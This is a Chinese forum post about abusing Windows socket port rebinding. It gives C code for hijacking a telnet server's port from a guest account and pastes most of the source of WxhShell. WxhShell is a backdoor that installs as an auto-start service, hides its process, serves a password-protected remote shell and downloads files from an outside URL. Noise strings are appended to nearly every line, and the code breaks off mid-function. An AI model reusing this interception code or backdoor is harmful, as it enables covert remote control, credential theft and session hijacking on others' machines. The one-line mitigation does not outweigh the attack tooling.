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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M(qxq(#{U  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CXTt(-FT  
kGpV;F==*  
  saddr.sin_family = AF_INET; Ee&hG[sx  
} <SNO)h3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vKU`C?,L  
yc*<:(p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >B0D/:R9  
_)Qy4[S=d  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 , Hn7(^t  
 VJ3hC[  
  这意味着什么?意味着可以进行如下的攻击: bFSlf5*H  
pFpZbU^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,!`SY)  
#e*X0;m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ejq=*UOP  
]$3+[9x'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mV<i JZh  
CoJ55TAW  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ^"1TPd|  
G-arnu)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 (B&h;U$HAH  
$'^&\U~?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YZibi  
~uB'3`x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DR6]-j!FK  
)%s +?  
  #include B#]_8svO  
  #include ):krJ+-/y  
  #include cqEHYJ;B  
  #include    .8]Y-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6_*!|g  
  int main() Sr&T[ex,.  
  { BBvZeG $Y  
  WORD wVersionRequested; L!gDFZr  
  DWORD ret; N0Gf0i>  
  WSADATA wsaData; Uan,H1a   
  BOOL val; Yj3P 7k$c  
  SOCKADDR_IN saddr; Te;gVG*  
  SOCKADDR_IN scaddr; ]c}=5m/  
  int err; ymtd>P"  
  SOCKET s; Ivsb<qzG  
  SOCKET sc; rR]-RX(  
  int caddsize; J^fm~P>.  
  HANDLE mt; >D ne? 8r  
  DWORD tid;   3% ^z?_  
  wVersionRequested = MAKEWORD( 2, 2 ); X/Y#U\  
  err = WSAStartup( wVersionRequested, &wsaData ); GQx9u ^>  
  if ( err != 0 ) { 0qv$:w)g+v  
  printf("error!WSAStartup failed!\n"); 2Pp&d>E4  
  return -1; |6%.VY2b  
  } W<NmsG})_g  
  saddr.sin_family = AF_INET; ,d|vP)SS  
   Tw//!rp G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 L~dC(J)@ZI  
Noh?^@T`Ov  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IZ8y}2  
  saddr.sin_port = htons(23); _R7 w?!t8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t}Ss=0dJO  
  { Tr&E4e  
  printf("error!socket failed!\n"); o'Pu'y  
  return -1; RZO5=L9E  
  } 6Nt$ZYS  
  val = TRUE; (;}tf~~r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 fYBH)E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YUscz!rM  
  { 55-D\n<  
  printf("error!setsockopt failed!\n"); f7J,&<<5w  
  return -1; iITp**l  
  } C0fmmI0z~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Qw?+!-7TN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :Q_x/+-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {B0h+. C  
JRO$<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pUCK-rL  
  { ( KTnJZ  
  ret=GetLastError(); 5h8o4  
  printf("error!bind failed!\n"); -(>qu.[8=  
  return -1; xhw-2dl*H  
  } 6z?gg3GV  
  listen(s,2); ~O: U|&  
  while(1) |)o#|Qo  
  { v7IzDz6gF  
  caddsize = sizeof(scaddr); SMoz:J*Q(  
  //接受连接请求 F>+2DlA`<e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6GYtY>  
  if(sc!=INVALID_SOCKET) ([ dT!B#aH  
  { %6ub3PLw8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \ZD[ !w7  
  if(mt==NULL) \DA$6w\\  
  { \Hwg) Uc{  
  printf("Thread Creat Failed!\n"); F98i*K`"  
  break; ?t rV72D  
  } `.=sTp2rbc  
  } Z0ReWrl;`  
  CloseHandle(mt); ~ y;y(4<  
  } jxw_*^w"  
  closesocket(s); t`G)b&3_O  
  WSACleanup(); :eOR-}p'  
  return 0; #SkX@sl@  
  }   8g*hvPc  
  DWORD WINAPI ClientThread(LPVOID lpParam) *7" L]6  
  { Ht[{ryTxu  
  SOCKET ss = (SOCKET)lpParam; :?CQuEv-  
  SOCKET sc; ?_q+&)4-o  
  unsigned char buf[4096]; 9<s4yZF@x  
  SOCKADDR_IN saddr; ~]WVG@-  
  long num; ,P6=~q3k  
  DWORD val; -2i\G.,J  
  DWORD ret; V5"HwN+`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _3>djF_u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O8|*M "  
  saddr.sin_family = AF_INET; b |7ja_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Y)b@0'  
  saddr.sin_port = htons(23); =Q(vni83<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DjHp+TyT  
  { 8)xt(~qF  
  printf("error!socket failed!\n"); 'iUg[{'+  
  return -1; feEMg  
  } 0 ^~\COa  
  val = 100; SwH2$:f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &ZJgQ-Pc(m  
  { & ,L9OU  
  ret = GetLastError(); xx8U$,Ng  
  return -1; :reTJQwr  
  } Z$'I Bv  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]gEhE  
  { Owf.f;QR  
  ret = GetLastError(); )1F<6R  
  return -1; 'C?NJ~MN  
  } TJy4<rb  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }$g mK  
  { Bct"X#W|&  
  printf("error!socket connect failed!\n"); N.j "S'(i  
  closesocket(sc); |(% u}V?  
  closesocket(ss); XnUO*v^]  
  return -1; `v nJ4*  
  } wW`}VKu  
  while(1) D>sYPrf  
  { V"RpH,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 oRq!=eUu_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |L:Cn J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zAScRg$:?  
  num = recv(ss,buf,4096,0); >V;,#5F_  
  if(num>0) Ya Y8 `M{  
  send(sc,buf,num,0); {CUk1+  
  else if(num==0) .T.5TMiOSq  
  break; $.K?N@(W  
  num = recv(sc,buf,4096,0); Cg!^S(U4  
  if(num>0) H:S,\D?%2x  
  send(ss,buf,num,0); <@, $hso7:  
  else if(num==0) HGDV O Jq  
  break; P $ >`  
  } ?tYpc_p#  
  closesocket(ss); UAYd?r  
  closesocket(sc); .FP$ IWt/1  
  return 0 ; 5/I_w0  
  } I mym+  
F u _@!K  
$L}aQlA1JM  
========================================================== |3eGz%Sd  
OXhAha`R  
下边附上一个代码,,WXhSHELL |)U|:F/{@  
;+Y i.Q/\  
========================================================== MagMZR  
7_\Mwy{P  
#include "stdafx.h" g+[kde;(^  
V@ :20m  
#include <stdio.h> +=3CL2{An  
#include <string.h> H[Weu  
#include <windows.h> 6yIvaY$KR  
#include <winsock2.h> cT'w=  
#include <winsvc.h> fCUT[d+H  
#include <urlmon.h> [Ot,q/hBJ  
I6w~H?ul@*  
#pragma comment (lib, "Ws2_32.lib") B)=~8wsI:Z  
#pragma comment (lib, "urlmon.lib") >Da~Q WW|  
M##';x0  
#define MAX_USER   100 // 最大客户端连接数 w|Aqqe  
#define BUF_SOCK   200 // sock buffer uJow7-FD  
#define KEY_BUFF   255 // 输入 buffer m],Ud\  
\54}T 4R  
#define REBOOT     0   // 重启 YD[H  
#define SHUTDOWN   1   // 关机 "{BqtU*.  
xJ(:m<z  
#define DEF_PORT   5000 // 监听端口 aXR%;]<Dw  
SGcBmjP  
#define REG_LEN     16   // 注册表键长度 sQ1jrkm  
#define SVC_LEN     80   // NT服务名长度 .;I29yk\XS  
;;&F1@3tBa  
// 从dll定义API y?z\L   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l";'6;g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L-h$Z0]_F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oXYMoi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x:z0EYL  
WjMRH+  
// wxhshell配置信息 t#b0H)  
struct WSCFG { HFtf  
  int ws_port;         // 监听端口 UTk r.T+2X  
  char ws_passstr[REG_LEN]; // 口令 UuJjO^t  
  int ws_autoins;       // 安装标记, 1=yes 0=no *^XbDg9  
  char ws_regname[REG_LEN]; // 注册表键名 (GU9p>2  
  char ws_svcname[REG_LEN]; // 服务名 DJ;g|b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4tc:.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )ly ^Ox  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <Gb %uny  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'Z8aPHD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >1|g5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TMj4w,g4  
fEnQE EU~P  
}; lF4u{B9DM  
 i g71/'D  
// default Wxhshell configuration .YcN S%  
struct WSCFG wscfg={DEF_PORT, vzR=>0#  
    "xuhuanlingzhe", PEXq:TA  
    1, +V8b  
    "Wxhshell", {]/8skov5]  
    "Wxhshell", f} K`Jm_}?  
            "WxhShell Service", l I-p_K  
    "Wrsky Windows CmdShell Service", =xl~][  
    "Please Input Your Password: ", zICI_*~  
  1, tJD] (F  
  "http://www.wrsky.com/wxhshell.exe", ]n v( aM?d  
  "Wxhshell.exe" tS?lB05TOR  
    }; Px;Cg 6  
jPJAWXB4a  
// 消息定义模块 v.g"{us  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k*$3i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; igkz2SI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; M7dU@Ag  
char *msg_ws_ext="\n\rExit."; i@$*Csj\9*  
char *msg_ws_end="\n\rQuit."; ?b:_AO&  
char *msg_ws_boot="\n\rReboot..."; ?9KGnOVu  
char *msg_ws_poff="\n\rShutdown..."; *e4TSqC|  
char *msg_ws_down="\n\rSave to "; t&RruwN_;  
O!F]^'!  
char *msg_ws_err="\n\rErr!"; B;t=B_oK  
char *msg_ws_ok="\n\rOK!"; E_:QSy5G  
.{so  
char ExeFile[MAX_PATH]; 1mW%  
int nUser = 0; hu@7?f_"L/  
HANDLE handles[MAX_USER]; YD_]!HK}  
int OsIsNt; AFm1t2,+;  
< oI8-f  
SERVICE_STATUS       serviceStatus; AXW!]=?X  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :)c80`-E  
&O1v,$}'  
// 函数声明 wGLF%;rRe4  
int Install(void); Dkw7]9Qm  
int Uninstall(void); +=fKT,-*G!  
int DownloadFile(char *sURL, SOCKET wsh); i/qTFQst _  
int Boot(int flag); JOfV]eCL  
void HideProc(void); k W-81  
int GetOsVer(void); L* |1/  
int Wxhshell(SOCKET wsl); $@uU@fLB  
void TalkWithClient(void *cs); (6qsKX  
int CmdShell(SOCKET sock); f&I7,"v  
int StartFromService(void); @.$MzPQQI  
int StartWxhshell(LPSTR lpCmdLine); Y;Y 1+jt  
TSto9 $}*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K0fv( !r{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;VzMU ;j  
+Ui_ O  
// 数据结构和表定义 8vD3=yK%^  
SERVICE_TABLE_ENTRY DispatchTable[] = |4>:M\h  
{ Mq\~`8V  
{wscfg.ws_svcname, NTServiceMain}, b|?;h21rG  
{NULL, NULL} optBA3@e!  
}; z +VV}:Q  
 s>[{}7ca  
// 自我安装 p@I9< ^"  
int Install(void) |E^|X!+9  
{ /1.rz{wpb  
  char svExeFile[MAX_PATH]; U{#xW  
  HKEY key; b9("DZW;  
  strcpy(svExeFile,ExeFile); \ P/W8{  
; B$ *)X9  
// 如果是win9x系统,修改注册表设为自启动 O|z%DkH[  
if(!OsIsNt) { |C-y}iQ:6~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u-><}OVf~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TOT PzB  
  RegCloseKey(key); S/Oxr%H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \< 65??P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H5M#q6`H6  
  RegCloseKey(key); Tov&68A~e  
  return 0; #A<"4#}  
    } /lH'hcXcX  
  } _z"o1`{w  
} <GZhH:  
else { ;z>p8N  
d"&3Q_2CD  
// 如果是NT以上系统,安装为系统服务 uMiyq<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); EXbTCT}`x  
if (schSCManager!=0) p\D >z("  
{ V SAafux  
  SC_HANDLE schService = CreateService =vEkMJ Os  
  ( 3M N  
  schSCManager, 8hB.fau  
  wscfg.ws_svcname, x_:hii?6V  
  wscfg.ws_svcdisp, nVOqn\m-  
  SERVICE_ALL_ACCESS, F`& >NQb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Eo=HNe  
  SERVICE_AUTO_START, pVG>A&4  
  SERVICE_ERROR_NORMAL, W~dE  
  svExeFile, T$c+m\j6  
  NULL, A ,<@m2  
  NULL, !S,pRS+  
  NULL, Z_itu73I  
  NULL, wn84?$BGd  
  NULL L@A9{,9Pl  
  ); hqW$k w  
  if (schService!=0) 'NjSu64W  
  { |- OHve4A  
  CloseServiceHandle(schService); Xj ,j0  
  CloseServiceHandle(schSCManager); h48 bb.p2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E .;io*0  
  strcat(svExeFile,wscfg.ws_svcname); !-(J-45  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {B^pnLc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kI+b <$:D  
  RegCloseKey(key); zoXuFg  
  return 0; >hb- 5xC  
    } v" FO  
  } AM/lbMr  
  CloseServiceHandle(schSCManager); FsY`nWwg  
}  -$R5  
} P"Rk?lL  
4  
return 1; z7q%,yw3N  
} rWe 8D/oc  
SALCuo"L  
// 自我卸载 { _X#fq0}  
int Uninstall(void) C yf]`*  
{ 3@HIpQM3  
  HKEY key; 8S=c^_PJ  
5KaSWw/  
if(!OsIsNt) { 9|a)sb7/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y3M','H([  
  RegDeleteValue(key,wscfg.ws_regname); K~JC\a\0  
  RegCloseKey(key); 6jtTT%>y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AeQC:  
  RegDeleteValue(key,wscfg.ws_regname); 4#@0T"T~M  
  RegCloseKey(key); !F,s"  
  return 0; !Bncx`pl  
  } i*A$SJ:}  
} ,O9`X6rh'  
} 3G(skphE  
else { >I:9'"`  
Esa6hU#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tvrc%L(]  
if (schSCManager!=0) P.1Qc)m4  
{ d!!3"{'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T ~|PU{  
  if (schService!=0) 2dyxKK!\a  
  { w6v1 q:20  
  if(DeleteService(schService)!=0) { U\;Ml  
  CloseServiceHandle(schService); yh$ ~*UV  
  CloseServiceHandle(schSCManager); ?a8nz, zb  
  return 0; |nfH-JytV  
  } Bf(Mot^  
  CloseServiceHandle(schService); 04[)qPPS  
  } dcR6KG8  
  CloseServiceHandle(schSCManager); G`WzJS*}v  
} #nDL  
} 5Wl,J _<F  
(ai72#nFtb  
return 1; C64eDX^  
} s9kTuhoK  
LA>dkPB  
// 从指定url下载文件 A1 b6Zt  
int DownloadFile(char *sURL, SOCKET wsh) X)Ocn`|  
{ qG*_w RF  
  HRESULT hr; fl!1AKSn@N  
char seps[]= "/"; :.C)7( 8S  
char *token; N~0$x,bR  
char *file; GZ.?MnG  
char myURL[MAX_PATH]; \O,j}O'  
char myFILE[MAX_PATH]; uRs9}dzv  
%pM :{Z  
strcpy(myURL,sURL); L1:}bH\y  
  token=strtok(myURL,seps);  *X0K2|  
  while(token!=NULL) v.]'%+::#  
  { '> 4+WZ1w5  
    file=token; +-",2 d+g  
  token=strtok(NULL,seps); 8Q)y%7 {6  
  } ?n73J wH  
a6OrE*x:D  
GetCurrentDirectory(MAX_PATH,myFILE); [lrmuf  
strcat(myFILE, "\\"); %PSz o8.l  
strcat(myFILE, file); UU-v;_oP  
  send(wsh,myFILE,strlen(myFILE),0); }$w4SpR  
send(wsh,"...",3,0); yqC+P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~F=#}6kg_  
  if(hr==S_OK) 8UlB~fVg  
return 0; .Wd.) ^?  
else E)RI!0Ra  
return 1; :v''"+\  
,!8*g[^O  
} (#CB q  
upZYv~Sa  
// 系统电源模块 / *O u$  
int Boot(int flag) +q 4W0  
{ U_.n=d~B  
  HANDLE hToken; k_-vT  
  TOKEN_PRIVILEGES tkp; 'aLPTVM^  
lu<Np9/5<  
  if(OsIsNt) { {8ld:ZP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1Qrm"TFo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +D6-m  
    tkp.PrivilegeCount = 1; (4E.Li<O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2OA8 R}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^ON-#  
if(flag==REBOOT) { ]i9H_K  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Cv gPIrl  
  return 0; MM/BJ  
} /5a$@%  
else { U+I3P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cob9hj#&7  
  return 0; K[`4vsE  
} -zkW\O[  
  } 1nw$B[  
  else { ?Aj\1y4L1  
if(flag==REBOOT) { ]J GKL5~p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IiYuUN1D  
  return 0; j&o/X7I=  
} =<Zwv\U  
else { >MBn2(\B;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1e+h9|hGYw  
  return 0; KzxW?Ji$S  
} mkKRC;  
} ZA 99vO  
oX%PsS  
return 1; <VauJB*R  
} #S/pYP`7  
rPrEEWS0)  
// win9x进程隐藏模块 iT)2 ?I6!  
void HideProc(void) mmh nw (/  
{ \" 5F;J  
!nZI? z;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a3DoLq"/  
  if ( hKernel != NULL ) W]C_oh  
  { LRfFn^FPM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /It.>1~2@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); od|N-R  
    FreeLibrary(hKernel); _Ct@1}aa4x  
  } [rD+8,zVm  
kM6 EZ`mj  
return; @k#z &@b  
} H >@JfYZ0  
"!w[U{  
// 获取操作系统版本 1+.y,}F6b  
int GetOsVer(void) kV]%Q3t  
{ FC jYTGA  
  OSVERSIONINFO winfo; {HE.mHy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); _KT]l./  
  GetVersionEx(&winfo); >G w%r1)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CU} q&6h  
  return 1; noB}p4  
  else K!$\REs  
  return 0; y.TdWnXx  
} PHE;  
O23]!S<;  
// 客户端句柄模块 kW7&~tX  
int Wxhshell(SOCKET wsl) k~W;TCJs  
{ 10QNV=yK7s  
  SOCKET wsh; */fs.G:P  
  struct sockaddr_in client; v/4X[6(  
  DWORD myID; E Ni%ge'":  
ijR*5#5h  
  while(nUser<MAX_USER) bb0{-T)1  
{ ?U2g8D nFY  
  int nSize=sizeof(client); ~Krg8s!F&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WZDokSR  
  if(wsh==INVALID_SOCKET) return 1; Z_hBd['!  
2#Q"@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :\ON+LQr  
if(handles[nUser]==0) 8B% O%*5`  
  closesocket(wsh); ^.><t+tM  
else ` Q!FMv6Y^  
  nUser++; =*U%j  
  } mF$jC:Tb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d/-0B<ts  
@)!1#^(}%  
  return 0; rE' %MiIK  
} 6:7:NIl:  
h&^/, G  
// 关闭 socket k6 h^  
void CloseIt(SOCKET wsh) 1v8:,!C  
{ dBi3ZC AF  
closesocket(wsh); S+bWD7  
nUser--; /Va&k4  
ExitThread(0); SgQmYaa&  
} LI5cUCl  
;74 DT  
// 客户端请求句柄 d$G%F$BTs  
void TalkWithClient(void *cs) XDv7#Tv_wv  
{ C[/U y  
=kZwB*7  
  SOCKET wsh=(SOCKET)cs; HS|g   
  char pwd[SVC_LEN]; P\G C8KV]  
  char cmd[KEY_BUFF];  q;He:vX  
char chr[1]; i}&mz~  
int i,j; e]L3=R;  
]jT[dX|?  
  while (nUser < MAX_USER) { L-oPb)  
|^&2zyUj/  
if(wscfg.ws_passstr) { CI3_lWax%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %lq7; emtp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fw8X$SE"  
  //ZeroMemory(pwd,KEY_BUFF); tg%WVy2  
      i=0; My43\p  
  while(i<SVC_LEN) { xQ(KmP2hl  
dpOL1rrE  
  // 设置超时  ~d<`L[  
  fd_set FdRead; (>@syF%PB  
  struct timeval TimeOut; vp}>#&  
  FD_ZERO(&FdRead); V,* 0<7h  
  FD_SET(wsh,&FdRead); A`ertSlbhe  
  TimeOut.tv_sec=8; nm%4L  
  TimeOut.tv_usec=0; H]n0JG9K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vpr @  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OuJ y$e  
 "%@=?X8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GlkAJe]  
  pwd=chr[0]; RBp(dKxM$w  
  if(chr[0]==0xd || chr[0]==0xa) { -<HvhW  
  pwd=0; QH? 2v  
  break; eRWF7`HH+  
  } W*WH .1&  
  i++; JqV<A3i  
    } J*4_|j;Z-E  
\crb&EgID  
  // 如果是非法用户,关闭 socket JbD)}(G;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Vm%ux>}  
} sOtNd({  
6W#F Ss~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tFP;CW!E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); di P4]/%1  
/JY ph^3][  
while(1) { ^eT>R,aB  
,Z\,IRn  
  ZeroMemory(cmd,KEY_BUFF); 4lo}-@j  
>j~70 ?  
      // 自动支持客户端 telnet标准   ,IX4Zo"a  
  j=0; [q|Q]O0  
  while(j<KEY_BUFF) { #mFAl|O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VDI S`E  
  cmd[j]=chr[0]; >IydXmTy  
  if(chr[0]==0xa || chr[0]==0xd) { Spw=+z<<Ub  
  cmd[j]=0; P`Wf'C^h  
  break; /r 2.j3:l  
  } nhaoh!8A6  
  j++; /01(9(  
    } (DaP~*c3cC  
-tdON  
  // 下载文件 )( jNd&H  
  if(strstr(cmd,"http://")) { l4.@YYzbp.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0JWD] "  
  if(DownloadFile(cmd,wsh)) lNnbd?D8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Im+()b&&  
  else u KdX4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T{J`t*Ym  
  } )RKhEm%Vr2  
  else { 2o7C2)YT$  
U=?"j-wN  
    switch(cmd[0]) { |N3 Co B  
  g,]5&C T3v  
  // 帮助 -VT?/=Y s  
  case '?': { zpQ/E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fi@+swfc  
    break; *:\9 T#h  
  } `pS)q x.a  
  // 安装 H {Wpf9_ K  
  case 'i': { #a>!U'1|  
    if(Install())  G6ES]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p:n^c5  
    else &ZFAUE,[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :s985sEv  
    break; [ :(M<u`y>  
    } F[giq 1#  
  // 卸载 X#C7r@H  
  case 'r': { X{5DPhB,  
    if(Uninstall()) $GK m`I"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e<wj5:M|  
    else +s 0Bt '  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %l P   
    break; @Sd:]h:f-  
    } 4sgwQ$m)  
  // 显示 wxhshell 所在路径 u:kY4T+Z  
  case 'p': { 6_ 0w>  
    char svExeFile[MAX_PATH]; v-aq".XQ  
    strcpy(svExeFile,"\n\r"); 2Ab#uPBn  
      strcat(svExeFile,ExeFile); E|#R0n*  
        send(wsh,svExeFile,strlen(svExeFile),0); QX3![;0F  
    break; ?{Z0g+B1  
    } I%WK*AORM  
  // 重启 l\y*wr`  
  case 'b': { s3%8W==rBW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @*{BX~f  
    if(Boot(REBOOT)) Hjkgy%N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u1Yp5jp^K  
    else {  b- /x  
    closesocket(wsh); PP`n>v=n  
    ExitThread(0); j %0_!*#3  
    }  h\ek2K  
    break; 7anpz%  
    } 31;T$5v1  
  // 关机 ;;H:$lx  
  case 'd': { \r9%;?f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QQ8W;x  
    if(Boot(SHUTDOWN)) b:&$x (|  
